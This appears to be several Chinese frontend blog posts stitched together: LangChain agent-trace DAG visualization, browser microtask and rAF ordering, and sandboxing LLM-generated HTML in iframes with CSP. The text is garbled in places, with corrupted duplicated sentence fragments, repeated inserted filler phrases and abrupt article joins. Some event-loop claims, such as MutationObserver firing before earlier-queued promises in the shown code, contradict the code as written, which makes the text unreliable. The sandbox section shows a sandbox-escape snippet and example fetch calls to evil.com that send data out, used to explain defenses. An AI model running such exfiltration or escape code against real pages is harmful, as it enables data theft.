    this.manager.updateStatus(nodeId, 'running')
  }

  async handleToolEnd(output: string, runId: string) {
    const nodeId = this.runNodeMap.get(runId)
    if (!nodeId) return

    const resultNodeId = this.manager.addNode(
      'tool_result',
      '结果返回',
      nodeId,
      { output: output.slice(0, 500) }
    )
    this.manager.updateStatus(resultNodeId, 'completed')
    this.manager.updateStatus(nodeId, 'completed')
  }

  async handleToolError(err: any, runId: string) {
    const nodeId = this.runNodeMap.get(runId)
    if (nodeId) {
      this.manager.updateStatus(nodeId, 'failed')
      this.manager.addNode('error', `错误: ${err.message}`, nodeId, { error: err })
    }
  }

  private getParentNodeId(): string | null {
    return this.manager.getSnapshot().currentNodeId
  }
}

这段 handler 有一个 LangChain 做得不好的地方——handleToolStart 的第二个参数 inputstring 不是结构化对象,你得自己 JSON.parse,而且它有时候给你的不是合法 JSON。不是 bug。是"特性"。(我已经在 GitHub issue 里看到过不下十个人吐槽这个事了,官方一直没改。)

串起来。启动代码:

const chainManager = new ThinkingChainManager(sessionId)
const callbackHandler = new ThinkingChainCallbackHandler(chainManager)

const executor = AgentExecutor.fromAgentAndTools({
  agent,
  tools: getToolsForContext(currentUser, conversationType),
  callbacks: [callbackHandler],
  // streaming 这个配置名字叫 streaming
  // 但实际控制的是 callback 的粒度——不开的话 handleLLMNewToken 不触发
})

registry.on('tool:start', (event) => {
  // 补充 meta 信息:预期耗时、是否可重试之类的
})

到这一步思维链的数据流就通了,每一步推理每一次 Tool 调用都会在 ThinkingChainManager 里生成对应节点。

拉回来讲渲染。

DAG 渲染:把动态生长的图画到屏幕上

这是整个方案里最容易做出来、也最容易做烂的部分。

先明确一下要渲染什么:

[用户提问][LLM 思考 #1] ──→ [调用 web_search("天气")] ──→ [结果: 晴 25°C]
    ↓                                                    ↓
[LLM 思考 #2] ←──────────────────────────────────────────┘
    ↓
    ├──→ [调用 calculator("25 * 9/5 + 32")] ──→ [结果: 77°F]
    │
    └──→ [调用 translator("晴", "en")] ──→ [结果: "Sunny"]
              ↓                                    ↓
[LLM 思考 #3] ←──────────────────────────────────┘
    ↓
[最终回答: "今天天气晴朗,25°C (77°F)"]

节点类型不统一,有 llm_calltool_calltool_resultfinal_answer。连边方向单一但有并行分支。整个图是边跑边长的——这很要命。

用什么库?

核心挑战不在渲染。在布局算法。

每次新增节点整个图的布局可能要重算,如果用 dagre 做自动布局(react-flow 文档推荐的方式),每次 addNode 就重新算一遍所有节点的 x/y 坐标——已有节点位置会跳。用户正盯着某个节点看呢突然它蹦到另一个位置去了。体验极差。

我的方案是增量布局。新节点根据父节点位置做相对定位,已有节点纹丝不动:

import { useCallback, useRef } from 'react'

const LAYOUT = {
  nodeWidth: 240,
  nodeHeight: 80,
  horizontalGap: 60,
  verticalGap: 100,
} as const

function useIncrementalLayout() {
  const positionCache = useRef(new Map<string, { x: number; y: number }>())
  const depthCounters = useRef(new Map<number, number>())

  const getNodePosition = useCallback((
    nodeId: string,
    parentId: string | null,
    depth: number
  ): { x: number; y: number } => {
    if (positionCache.current.has(nodeId)) {
      return positionCache.current.get(nodeId)!
    }

    const currentCount = depthCounters.current.get(depth) || 0
    depthCounters.current.set(depth, currentCount + 1)

    let x: number, y: number

    if (!parentId) {
      x = 400
      y = 50
    } else {
      const parentPos = positionCache.current.get(parentId)
      if (parentPos) {
        x = parentPos.x + (currentCount * (LAYOUT.nodeWidth + LAYOUT.horizontalGap))
        y = parentPos.y + LAYOUT.verticalGap
        
        const siblings = currentCount
        if (siblings > 0) {
          x = parentPos.x + ((siblings - 0.5) * (LAYOUT.nodeWidth + LAYOUT.horizontalGap) / 2)
        }
      } else {
        x = currentCount * (LAYOUT.nodeWidth + LAYOUT.horizontalGap)
        y = depth * LAYOUT.verticalGap
      }
    }

    const pos = { x, y }
    positionCache.current.set(nodeId, pos)
    return pos
  }, [])

  return { getNodePosition }
}

坦白讲这段布局代码写得有点糙。并行分支水平展开的算法不太对,三个以上并行 Tool 的时候节点会挤成一坨——但 80% 的场景够用。再说吧。完美的 DAG 布局是一个学术级问题,Sugiyama 算法那一套你真去实现要写好几百行,在这个业务场景下追求完美属于浪费生命。你的用户关心的是"Agent 在干嘛""到第几步了""哪步挂了",不是这图的 margin 对不对称。

自定义节点组件,根据 ThinkingNodeType 渲染不同样式:

function ThinkingNodeComponent({ data }: { data: ThinkingNode }) {
  const statusColor = {
    pending: '#94a3b8',
    running: '#3b82f6',
    completed: '#22c55e',
    failed: '#ef4444',
  }[data.status]

  return (
    <div 
      className={`thinking-node thinking-node--${data.type}`}
      style={{ borderLeftColor: statusColor, borderLeftWidth: 4 }}
    >
      <div className="thinking-node__header">
        <span className="thinking-node__icon">{getIcon(data.type)}</span>
        <span>{data.label}</span>
        {data.status === 'running' && <PulseIndicator />}
      </div>
      
      {data.streamTokens && data.status === 'running' && (
        <div className="thinking-node__stream">
          {data.streamTokens.join('')}
          <BlinkingCursor />
        </div>
      )}
      
      {data.type === 'tool_call' && data.data.input && (
        <Collapsible title="参数">
          <pre>{JSON.stringify(data.data.input, null, 2)}</pre>
        </Collapsible>
      )}
      
      {data.type === 'tool_result' && (
        <Collapsible title="结果">
          <pre>{data.data.output}</pre>
        </Collapsible>
      )}
    </div>
  )
}

ThinkingChain 转成 @xyflow/react 要的 nodesedges 数组——BFS 遍历顺便算深度:

function chainToFlowElements(
  chain: ThinkingChain,
  getPosition: (id: string, parentId: string | null, depth: number) => { x: number; y: number }
) {
  const nodes: Node[] = []
  const edges: Edge[] = []

  const queue: Array<{ nodeId: string; depth: number }> = []
  const visited = new Set<string>()

  for (const [id, node] of chain.nodes) {
    if (!node.parentId) {
      queue.push({ nodeId: id, depth: 0 })
    }
  }

  while (queue.length > 0) {
    const { nodeId, depth } = queue.shift()!
    if (visited.has(nodeId)) continue
    visited.add(nodeId)

    const thinkingNode = chain.nodes.get(nodeId)!
    const position = getPosition(nodeId, thinkingNode.parentId, depth)

    nodes.push({
      id: nodeId,
      type: 'thinkingNode',
      position,
      data: thinkingNode,
    })

    if (thinkingNode.parentId) {
      edges.push({
        id: `${thinkingNode.parentId}-${nodeId}`,
        source: thinkingNode.parentId,
        target: nodeId,
        animated: thinkingNode.status === 'running',
        style: { stroke: thinkingNode.status === 'failed' ? '#ef4444' : '#64748b' },
      })
    }

    for (const childId of thinkingNode.children) {
      queue.push({ nodeId: childId, depth: depth + 1 })
    }
  }

  return { nodes, edges }
}

最终 React 组件:

function AgentDAGViewer({ chainManager }: { chainManager: ThinkingChainManager }) {
  const [chain, setChain] = useState<ThinkingChain | null>(null)
  const { getNodePosition } = useIncrementalLayout()

  useEffect(() => {
    return chainManager.subscribe(newChain => {
      setChain(structuredClone(newChain))
    })
  }, [chainManager])

  const { nodes, edges } = useMemo(() => {
    if (!chain) return { nodes: [], edges: [] }
    return chainToFlowElements(chain, getNodePosition)
  }, [chain, getNodePosition])

  const reactFlowInstance = useReactFlow()
  useEffect(() => {
    if (chain?.currentNodeId) {
      const pos = getNodePosition(chain.currentNodeId, null, 0)
      reactFlowInstance.setCenter(pos.x, pos.y, { duration: 300, zoom: 1 })
    }
  }, [chain?.currentNodeId])

  return (
    <ReactFlow
      nodes={nodes}
      edges={edges}
      nodeTypes={{ thinkingNode: ThinkingNodeComponent }}
      fitView={false}
      panOnDrag
      zoomOnScroll
      minZoom={0.3}
      maxZoom={1.5}
    >
      <Background />
      <Controls />
    </ReactFlow>
  )
}

踩坑提醒:useReactFlow() 必须在 <ReactFlowProvider> 内部调用否则直接报错,而且这个 Provider 不能和 <ReactFlow> 在同一个组件里——得包在外面一层,文档里写了但不显眼,十个人里九个半会踩这个。

设计权衡和边界

langgraph 还是 AgentExecutor?绕不开的选择。

LangChain 团队自己都在推 langgraph 作为 Agent 编排的下一代方案,AgentExecutor 某种意义上已经进维护模式了。langgraph 原生就是图结构——StateGraph 加节点加边——天然比 AgentExecutor 那个 while 循环模型更贴合 DAG 可视化的需求:

import { StateGraph } from '@langchain/langgraph'

const workflow = new StateGraph({ channels: agentState })
  .addNode('agent', callModel)
  .addNode('tools', callTools)
  .addEdge('__start__', 'agent')
  .addConditionalEdges('agent', shouldContinue, {
    continue: 'tools',
    end: '__end__',
  })
  .addEdge('tools', 'agent')

const app = workflow.compile()

langgraph 也不是万能药,它的学习曲线比 AgentExecutor 陡不少——StateGraphchannelsconditional edgescheckpointer 一堆新概念砸过来,而且 JS 版本目前功能比 Python 版少了一截。如果你的场景就是一个简单的 ReAct 循环,AgentExecutor 配上前面那套 callback 机制已经够使了,别为了架构上的"正确性"引入不必要的复杂度。能跑。够了。

性能方面最大的瓶颈根本不在前端渲染。

状态持久化这块,ThinkingChainManager 的数据目前纯内存,location.reload() 一下就全没了。如果需要回放历史对话的推理过程——企业场景里这个需求挺常见,审计合规什么的——得把整个 ThinkingChain 序列化存后端,每个事件带 timestamp,回放时按时间戳重新 replay。这块展开讲又是一整篇文章的体量了。

跑了大半年生产环境,这套方案最大的教训就一句话:别想一步到位。ThinkingNodetype 枚举我改了四版,ToolMeta 的结构加了三次字段,DAG 布局算法换过两种方案。先用 AgentExecutor 加最基础的 callback 加一个简单的列表式渲染跑通,确认产品方向没问题了再逐步往上堆 DAG 可视化、增量布局、流式 token 这些花活。想等一步到位只会等出个寂寞来。

从一个 `console.log` 顺序翻车说起,聊聊微任务那些糟心事

从一个 console.log 顺序翻车说起,聊聊微任务那些糟心事

Promise.resolve().then(() => console.log('promise'))
queueMicrotask(() => console.log('microtask'))

const observer = new MutationObserver(() => console.log('mutation'))
const node = document.createTextNode('')
observer.observe(node, { characterData: true })
node.data = '1'

console.log('sync')

你猜输出啥?sync 先出来,没毛病,同步代码嘛。然后 promisemicrotaskmutation——这个等下再说,对吧?跑一下 Chrome。

没问题。

再跑一次。

sync
mutation
promise
microtask

坏了。MutationObserver 跑前面去了,你写代码的顺序根本不算数,入队时机才是爹。

同一个队列,不同的入队姿势

讲道理,我翻过不少事件循环的文章,十篇有八篇把 Promise.thenqueueMicrotaskMutationObserver 往"微任务"这个筐里一扔就完事了,说它们优先级一样。对吗?对。有用吗?没用。优先级一样但入队时机天差地别,最终谁先跑完全是另一码事。

queueMicrotask(fn) 最老实——你调用的那一瞬间 fn 就塞进微任务队列了,没有中间商赚差价,没有任何包装层,一步到位。Promise.resolve().then(fn) 差不多,因为这个 Promise 已经是 resolved 状态了,.then 执行的时候 fn 也是立刻入队,但它多走了一层 PromiseReactionJob 的内部机制,比 queueMicrotask 慢那么一丢丢。所以这俩的顺序基本就是你写代码的顺序,稳得一批。

MutationObserver 的话?不一样。

它的回调入队时机取决于浏览器把 DOM 变更"收集"完毕的时间点——浏览器会在同一个微任务检查点(microtask checkpoint)触发前,把这段时间内攒起来的所有 DOM 变更打包,然后才把 MutationObserver 的回调作为微任务丢进队列。就这个"攒"的动作,导致了时序上的不确定性,你没法拿看代码顺序来推断它什么时候入队(听起来很合理对吧,但是)。

// 这段的顺序是确定的
queueMicrotask(() => console.log('A'))  // 调用瞬间入队
Promise.resolve().then(() => console.log('B'))  // 也是立刻,但多了一层包装
// 永远 A → B

坦白说 V8 源码里 queueMicrotask 走的是 EnqueueMicrotask 这条更短的路径,而 Promise.then 要经过 NewPromiseReactionJobTask 再绕一圈才入队。别问我怎么知道的。

说到这里我自己都有点绕了。

这也解释了 Vue 的 nextTick 演变史:Vue 2 最早用 MutationObserver,时序不稳,后来换成 Promise.then,到 Vue 3 干脆用 queueMicrotask 打底。越直接越可控,就这么简单。

requestAnimationFrame 压根不是任务,它是渲染管线的一部分

这块是重灾区。

我见过无数事件循环示意图,把 rAF 画在宏任务和微任务旁边,搞一个所谓的"rAF 队列"。

来看一段会让你抓狂的代码:

document.querySelector('.box').style.transform = 'translateX(0px)'

requestAnimationFrame(() => {
  document.querySelector('.box').style.transform = 'translateX(100px)'
})

你以为会看到元素从 0px 平滑过渡到 100px 的动画?实际效果:元素直接出现在 100px 的位置,没有任何过渡。怎么回事?因为第一行的样式修改和 rAF 回调里的修改都在同一帧被处理了,浏览器把它们合并成一次渲染,中间根本没有产生过一帧"元素在 0px"的画面。

修复方案有两个。一是"双 rAF"技巧:

box.style.transform = 'translateX(0px)'

requestAnimationFrame(() => {
  // 第一个 rAF:确保 0px 这个值被渲染出去了
  requestAnimationFrame(() => {
    // 第二个 rAF:下一帧再改成 100px
    box.style.transform = 'translateX(100px)'
  })
})

二是用 getComputedStyle(box).transform 强制触发一次同步重排,逼浏览器把第一次修改"落地"。但这招有代价——同步布局计算在列表场景下会直接把帧率干到个位数,getComputedStyle 不是免费的午餐。

那浏览器事件循环一轮的真实顺序到底是啥?把渲染管线也画进来的话:

  1. 取一个宏任务跑完(setTimeout 回调、MessageChannel、用户点击事件之类的)
  2. 清空微任务队列,Promise.thenqueueMicrotaskMutationObserver 全在这一步
  3. 浏览器判断:需要渲染吗?不一定。屏幕 60Hz 的话大约 16.6ms 一帧,你要是 1ms 内连着跑了 10 个 setTimeout(fn, 0),大概率这 10 个宏任务全跑完了才渲染一次
  4. 如果要渲染——进入渲染阶段:跑 rAF 回调,算样式,跑布局,绘制,合成

反正大概是这么个意思。

注意第 3 步那个"不一定"。这就是为什么你不能拿 rAF 当"尽快执行"用,它的实际延迟可能比 setTimeout(fn, 0) 还大(听起来很合理对吧,但是)。React 的 scheduler 选了 MessageChannel 而不是 rAF,原因就在这——React 要的是"尽快切到下一个任务切片",不是"等到下一次渲染前"。

混在一起用的时候,地狱开始了

虚拟滚动列表。滚动事件触发后你要干三件事:算可视区域、改 DOM、等渲染完拿新 DOM 的高度。三步,三种调度策略。搞混一个直接白屏。

onScroll = (event) => {
  // 同步算可视范围,这步没争议
  const visibleRange = calcRange(event.scrollTop)

  // 微任务里批量更新 DOM——为什么?
  // 因为要赶在当前帧渲染前把 DOM 改好
  queueMicrotask(() => {
    updateDOM(visibleRange)

    // 等渲染完测量高度,用 rAF?
    // 坑来了
    requestAnimationFrame(() => {
      // rAF 跑在渲染阶段开头,布局还没算呢
      // 你拿到的高度是上一帧的

      requestAnimationFrame(() => {
        const heights = measureHeights()  // 这里才安全
      })
    })
  })
}

rAF 的回调跑在渲染流水线的最前面,在样式计算和布局之前,你在 rAF 里读 offsetHeight 之类的值,拿到的可能是旧的。又是双 rAF——第一个保证 DOM 更新进了渲染管线,第二个在下一帧拿上一帧的布局结果。

嗯,继续。

怎么说呢,这个调度模型其实一句话就能讲完:微任务在当前宏任务结束后渲染前清空,rAF 在渲染阶段开头跑,渲染整完后想做事没有原生 API,要么双 rAF 要么 ResizeObserver

但还有更绕的。rAF 回调里能不能产生微任务?能。

requestAnimationFrame(() => {
  console.log('rAF-1')
  queueMicrotask(() => console.log('micro-in-rAF'))
})

requestAnimationFrame(() => {
  console.log('rAF-2')
})
// 输出:rAF-1 → micro-in-rAF → rAF-2

每个 rAF 回调执行完后浏览器都会检查微任务队列并清空,跟宏任务结束后清空微任务是同一套逻辑——每个可执行上下文结束时都有一个 microtask checkpoint,rAF 回调也算一个可执行上下文,所以在 rAFqueueMicrotask 是安全的。

嗯,继续。

那在 rAF 回调里再调一次 requestAnimationFrame 注册的新回调会在当前帧跑吗?不会。规范写得很清楚:每帧开始时浏览器会对当前已注册的 rAF 回调列表做一次快照,只跑快照里的,执行期间新注册的推到下一帧。双 rAF 能保证跨帧不是 hack,是规范行为。

ResizeObserver 的调度时机更绕——卡在布局之后绘制之前,还可能触发二次 re-layout。够呛。这个回头单独写。

把 LLM 吐出来的组件扔进 `iframe` 跑:沙箱隔离这件事没你想的那么简单

把 LLM 吐出来的组件扔进 iframe 跑:沙箱隔离这件事没你想的那么简单

dangerouslySetInnerHTML 直接把 AI 返回的 HTML 糊到页面上——你干过没?

干过。去年接手一个 AI 生成 UI 的项目,前任同事就是这么搞的,GPT 返回一段 <div><style><script>,直接往 DOM 里一塞。能跑就行嘛。跑是能跑,直到有一天 AI 返回了一段代码里面带了 document.cookie,紧接着又带了一个 fetch 往外发请求,安全团队的告警邮件半夜三点把我叫醒了。不想再体验第二次。

早知道就老老实实做沙箱。

这篇聊的就是这件事:LLM 输出的组件代码怎么在浏览器里安全跑起来,核心方案是 iframe 配合 Content-Security-Policy,再加上错误边界兜底。不是什么新技术。但组合起来的坑比想象中多得多得多。

iframe sandbox:看起来一行属性就搞定,实际全是取舍

先说基础的。

<iframe sandbox> 这个属性加上之后,浏览器会给 iframe 里的内容套一层限制——不能执行脚本、不能提交表单、不能用 top.location 跳转、不能弹窗。听起来很美。但问题来了,AI 生成的 UI 组件十有八九需要跑 JavaScript,你总不能让 GPT 只吐静态 HTML 吧,那还不如直接用 markdown-it 渲染算了。所以你得把 allow-scripts 加回来:

<iframe
  sandbox="allow-scripts"
  srcdoc="..."
  style="width:100%;height:400px;border:none;"
></iframe>

就这一行。事情开始变复杂了。

allow-scripts 打开之后 iframe 里的代码能跑 JS 了,但它仍然拿不到父页面的 DOM,因为 sandbox 默认会把 iframe 的 origin 设成 null,天然跨域。好事。但"拿不到父页面 DOM"和"完全安全"之间差了十万八千里,iframe 里的脚本照样能发 fetch 请求、能用 WebSocketlocalStorage 倒是默认禁用的,除非你加了 allow-same-origin

等等。千万别加这个。

allow-scripts + allow-same-origin:灾难组合

我踩过的最狠的坑就是这俩同时开。

这俩一起开会怎样?iframe 里的脚本既能跑 JS,又和父页面同源。那它就能做一件事情:

// iframe 内部的恶意代码
const frame = window.frameElement;
frame.removeAttribute('sandbox');
// sandbox 没了,所有限制解除,可以为所欲为

完了。iframe 里的代码直接把自己的 sandbox 属性删掉,reload 一下,所有限制全部消失。这不是理论攻击,MDN 上都写了——但谁看 MDN 啊。别问。

所以第一条铁律:allow-scriptsallow-same-origin 永远不能同时出现。

不加 allow-same-origin 有啥副作用?iframe 里的代码没法用 localStoragesessionStorageIndexedDB,也没法用 cookie。说到 AI 生成的预览组件来说问题不大——你又不是要在预览里做持久化。但有一个比较烦的事:有些第三方库比如某些版本的 axios 初始化时会读 localStorage,读不到直接抛异常。这个后面错误边界那节再说。

怎么说呢,sandbox 属性的配置我前后改了不下十次,最后稳定下来的版本:

sandbox 权限选择流程:

需要跑 JS 吗?
├── 否 → sandbox(啥都不加,最安全)
└── 是 → sandbox="allow-scripts"
         ↓
    需要提交表单吗?
    ├── 否 → 保持 allow-scripts
    └── 是 → allow-scripts allow-forms
              ↓
         需要弹窗(window.open)吗?
         ├── 否 → 到此为止
         └── 是 → 加 allow-popups
                   (但要想清楚,真的需要吗?)

 永远不加:allow-same-origin(和 allow-scripts 同时)
 永远不加:allow-top-navigation(防止跳转劫持)

光靠 sandbox 还不够。管不了网络请求。iframe 里的脚本照样能 fetch('https://evil.com') 往外发数据。不对,应该说是me 里的脚本照样能 fetch('https://evil.com') 往外发数据(说起来都是泪)。这就是为什么需要 CSP。

CSP 怎么配才能把网络请求锁死

Content-Security-Policy 注入到 iframe 里有两种方式:HTTP 响应头,或者 <meta> 标签。我们用的是 srcdoc,没有 HTTP 响应这回事,所以只能走 <meta http-equiv="Content-Security-Policy">

function wrapWithCSP(htmlFromLLM) {
  const csp = [
    "default-src 'none'",
    "script-src 'unsafe-inline'",
    "style-src 'unsafe-inline'",
    "img-src data: blob:",
  ].join('; ');

  return `
    <!DOCTYPE html>
    <html>
    <head>
      <meta http-equiv="Content-Security-Policy" content="${csp}">
    </head>
    <body>${htmlFromLLM}</body>
    </html>
  `;
}

看到 script-src 'unsafe-inline' 是不是慌了?

别慌。正常 Web 应用里 unsafe-inline 确实是安全隐患,等于给 XSS 开绿灯。嗯……也不完全是,eb 应用里 unsafe-inline 确实是安全隐患,等于给 XSS 开绿灯。但我们这个场景不一样——iframe 里所有的代码都是内联的,AI 吐出来的就是一坨 HTML 字符串,不存在"可信脚本"和"不可信脚本"的区分,全部不可信,安全边界在 iframe 的 sandbox 和 CSP 的网络限制上,不在脚本来源上。

我也想过用 nonce 或者 sha256-hash 来限制。

坦白说有个细节我当时查了半天:connect-src 不配的话会不会 fallback 到 default-src?答案是会的。default-src'none',所以效果一样。但我建议显式写上,代码即文档嘛:

const csp = [
  "default-src 'none'",
  "script-src 'unsafe-inline'",
  "style-src 'unsafe-inline'",
  "img-src data: blob:",
  "connect-src 'none'",  // 显式禁止 fetch/XHR/WebSocket
  "font-src 'none'",
].join('; ');

这样配完之后,iframe 里的代码跑 fetch('https://evil.com/steal?data=xxx') 浏览器直接拦截,控制台打一条 CSP violation 的报错。安全团队不会再半夜打电话了。

但事情没完。

AI 生成的代码要加载 CDN 上的库怎么办

这个场景我一开始压根没想到。

两条路。

第一条,白名单:

script-src 'unsafe-inline' https://cdn.jsdelivr.net https://unpkg.com

能用。

第二条路,也是我最后选的——在父页面做预处理,把外部 <script src="..."> 的内容提前下载好,以内联方式塞回 srcdoc

LLM 输出的原始 HTML
        ↓
   预处理(父页面)
   ├── 扫描 <script src="...">
   ├── 下载脚本内容(白名单校验 URL)
   ├── 转为 <script>内联代码</script>
   └── 扫描 <link href="..."> 同理处理
        ↓
   组装 srcdoc(注入 CSP meta)
        ↓
   塞进 <iframe sandbox="allow-scripts">

CSP 保持最严格配置,不用开任何外部域名(虽然官方文档不是这么说的)。代价是多了一步预处理,但这步本身也是个安全检查点,你可以在这里做恶意代码扫描、Content-Length 大小限制、依赖白名单校验,一举多得(虽然官方文档不是这么说的)。

反正大概是这么个意思。

这套预处理的逻辑写起来比想象中复杂。光是处理 <script> 标签的各种写法——有 type="module" 的、有 async 的、有 defer 的、还有写在 <head><body> 不同位置的——就糊了大概两百行,一半正则一半 DOMParser。一次性工作。写完不用动了。

写到这里突然觉得之前说的不太对。

还有个容易忽略的点。<style> 里面的 @import url(...)background: url(...) 也能发网络请求。能跑。style-src 'unsafe-inline' 只允许内联样式,@import 加载外部 CSS 这个行为被 default-src 'none' 兜住了。但 background-image: url(data:image/png;base64,...) 是可以的,因为 img-src 放了 data:。这些边角情况不翻 W3C 的 CSP spec 真想不到。

错误边界:AI 生成的代码炸了怎么办

重要。但不复杂。

AI 生成的代码质量不可预测。SyntaxError 都能有,更别提运行时错误了——访问 undefined 的属性、死循环、内存爆了。啥都可能。

好吧这个问题比我想的复杂。

iframe 天然就是进程级别的隔离,大多数现代浏览器里跨域 iframe 跑在独立渲染进程中,所以 iframe 里的代码就算 while(true){} 了也不会卡死父页面。免费的好处。但你得有办法检测到"这个 iframe 炸了"然后给用户反馈。

我的做法是在 srcdoc 里注入一段监控脚本,这段脚本在 AI 生成的代码之前执行:

<script>
window.addEventListener('error', function(e) {
  parent.postMessage({
    type: '__sandbox_error__',
    message: e.message,
    filename: e.filename,
    lineno: e.lineno
  }, '*');
});

window.addEventListener('unhandledrejection', function(e) {
  parent.postMessage({
    type: '__sandbox_error__',
    message: e.reason?.message || String(e.reason)
  }, '*');
});

// 5秒内没渲染完就认为卡了
var __renderTimer = setTimeout(function() {
  parent.postMessage({
    type: '__sandbox_timeout__',
    message: 'Render timeout after 5000ms'
  }, '*');
}, 5000);

window.__notifyRenderComplete = function() {
  clearTimeout(__renderTimer);
  parent.postMessage({ type: '__sandbox_ready__' }, '*');
};
</script>

父页面监听 message 事件(听起来很合理对吧,但是)。有个坑:postMessage 第二个参数写的 '*',因为 sandbox 下 iframe 的 origin 是 null,没法指定具体 targetOrigin。那父页面监听的时候必须做来源校验,用 event.source 判断:

const iframeRef = useRef(null);

useEffect(() => {
  function handleMessage(event) {
    if (event.source !== iframeRef.current?.contentWindow) return;

    switch (event.data?.type) {
      case '__sandbox_error__':
        setError(event.data.message);
        break;
      case '__sandbox_timeout__':
        setError('组件渲染超时');
        break;
      case '__sandbox_ready__':
        setLoading(false);
        break;
    }
  }
  window.addEventListener('message', handleMessage);
  return () => window.removeEventListener('message', handleMessage);
}, []);

跑起来还行。

但有个问题始终没完美解决。死循环。

while(true){} 这种同步死循环会卡死 iframe 的 JS 线程,setTimeout 的超时回调根本没机会执行,因为事件循环被堵死了。postMessage 发不出去,父页面啥也收不到。只能在父页面设一个外部定时器——5 秒内没收到 __sandbox_ready__ 就认为挂了:

useEffect(() => {
  if (!loading) return;
  const timer = setTimeout(() => {
    setError('渲染超时,可能存在死循环');
    if (iframeRef.current) {
      iframeRef.current.srcdoc = '';
    }
  }, 5000);
  return () => clearTimeout(timer);
}, [loading]);

srcdoc 设成空字符串可以终止 iframe 里的执行。iframe.contentWindow.stop() 在跨域 sandbox 下调不了。够用了。不优雅。但够用了。

还有一类错误比较棘手。

try { localStorage } catch(e) {
  window.localStorage = {
    getItem: () => null,
    setItem: () => {},
    removeItem: () => {},
    clear: () => {},
    length: 0
  };
}

粗暴。有效。有些库初始化的时候检测 window.localStorage 是否存在来决定用不用持久化——mock 之后它就走内存 fallback 了,比如 zustandpersist 中间件就是这个逻辑。

父子通信和动态尺寸

快速过。

iframe 高度自适应是老生常谈的问题,sandbox 场景下一样躲不掉。

new ResizeObserver(entries => {
  const height = entries[0].target.scrollHeight;
  parent.postMessage({
    type: '__sandbox_resize__',
    height: height
  }, '*');
}).observe(document.body);

父页面收到消息后更新 iframe 的 style.heightResizeObserver 在 sandbox 下能不能用?能。它是纯观察型 API,不涉及安全敏感操作,不在 sandbox 的限制清单里(别问我怎么知道的)。

父页面往 iframe 传数据也是 postMessage,传主题色、prefers-color-scheme 之类的。注意序列化问题就行——postMessage 走结构化克隆算法,函数、DOM 节点、Symbol 传不了。大部分场景一个 JSON.stringify 能覆盖的对象就够了。

如果 iframe 里的组件需要"调用"父页面的能力,比如打开 modal、跳转 react-router 的路由,可以搞一套 RPC:

iframe → 父页面:  { type: 'rpc_call', id: 'abc', method: 'openModal', params: {...} }
                          ↓
                  校验 method 白名单 → 执行 → 拿到结果
                          ↓
父页面 → iframe:  { type: 'rpc_result', id: 'abc', result: ... }
                          ↓
                  iframe 侧 resolve 对应 Promise

二十行代码的事。核心就是 method 白名单,iframe 能调用的方法必须预定义好,不能让它随便调 window.open 或者操作 history

最后一个不大不小的坑。

srcdoc 的内容如果包含 </script> 这个字符串——哪怕是嵌在 JS 的字符串字面量里——浏览器也会提前闭合 <script> 标签,整个 HTML 解析全乱。预处理时记得转义,把 </script> 替换成 <\/script>。这个坑我调了半天,AI 生成的代码里恰好有一句 el.innerHTML = '<script>...</script>',然后 srcdoc 就炸了。血的教训。


这套方案跑了差不多半年。扛住了各种离谱的 AI 输出——有返回完整 <!DOCTYPE html> 文档结构的、有在 <style> 里写 * { display: none !important } 把自己藏起来的、有 console.log 循环打了几万行把 DevTools 搞崩的。sandbox 保护下这些东西都只能在 iframe 里折腾,影响不到父页面的 document,也发不出任何网络请求。

说白了嘛,就是给 AI 输出画了个圈。圈里随便蹦跶,出不去就行。半年下来最大的感受是,安全这东西不怕方案土,怕的是你觉得"应该没事吧"然后就真没管。

❌